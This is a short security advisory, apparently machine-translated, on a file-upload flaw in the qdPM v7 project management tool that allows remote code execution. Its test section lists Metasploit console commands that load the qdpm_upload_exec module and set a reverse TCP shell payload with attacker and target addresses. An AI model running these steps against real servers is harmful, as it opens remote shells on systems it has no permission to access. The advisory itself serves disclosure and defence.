QdPM v7 arbitrary PHP File Upload Vulnerability

Release date:
Updated on:

Affected Systems:
Qdpm 7
Qdpm
Description:
--------------------------------------------------------------------------------
QdPM is a free open-source Web-based project management tool.
 
The photo upload function of the user configuration file in qdPM v7 can be used to upload arbitrary files to the victim server, resulting in remote code execution.
 
<* Source: qdPM v7

Link: http://www.metasploit.com/modules/exploit/multi/http/qdpm_upload_exec
Http://www.osvdb.org/82978
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
$ Msfconsole
 
#########
########################################
################################
######################################
##############################
######################################
##
 
Msf> use exploit/multi/http/qdpm_upload_exec
Msf exploit (qdpm_upload_exec)> show payloads
Msf exploit (qdpm_upload_exec)> set PAYLOAD generic/shell_reverse_tcp
Msf exploit (qdpm_upload_exec)> set LHOST [my ip address]
Msf exploit (qdpm_upload_exec)> set PASSWORD [STRING]
Msf exploit (qdpm_upload_exec)> set RHOST [target ip]
Msf exploit (qdpm_upload_exec)> set USERNAME [STRING]
Msf exploit (qdpm_upload_exec)> exploit

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Qdpm
----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://qdpm.net/